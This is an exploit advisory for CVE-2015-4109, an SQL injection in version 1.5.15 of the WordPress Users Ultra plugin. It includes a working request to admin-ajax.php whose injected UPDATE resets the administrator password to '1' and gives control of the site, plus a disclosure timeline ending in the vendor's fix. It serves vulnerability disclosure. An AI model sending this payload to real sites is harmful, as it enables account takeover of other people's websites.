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WordPress Users Ultra 1.5.15 SQL Injection

WordPress Users Ultra 1.5.15 SQL Injection
Posted Jun 6, 2015
Authored by Panagiotis Vagenas

WordPress Users Ultra plugin version 1.5.15 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2015-4109
MD5 | 39a1c64480be48a5c39f71631630eccf

WordPress Users Ultra 1.5.15 SQL Injection

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# Exploit Title: CVE-2015-4109 - WordPress Users Ultra Plugin [SQL injection]
# Date: 2015/05/30
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://usersultra.com
# Software Link: https://wordpress.org/plugins/users-ultra/
# Version: 1.5.15
# Tested on: WordPress 4.2.2
# Category: webapps
# CVE: CVE-2015-4109

One can perform an SQL injection attack simply by exploiting wp_ajax_nopriv_rating_vote action.
POST parameters data_target and data_vote can be used to execute arbitrary SQL commands in the database.

In the following PoC we change the administrators password to '1' so a malicious user can then login as the administrator, taking full control of the website.

* Send a post request to `http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: action=rating_vote&data_id=1
&data_target=user_id IN (1); UPDATE wp_users set user_pass=MD5(1) where ID &data_vote=1
* Login with administrator's user name and password '1'

Note that we assume that table name prefix is 'wp' and administrators user id is 1, a very common scenario.

* Timeline
2015-05-29 Discovered
2015-05-30 Vendor notified via contact form
2015-06-01 Vendor notified via email
2015-06-02 Vendor notified via support forums at wordpress.org
2015-06-02 Vendor responded
2015-06-04 Fix released in version 1.5.16
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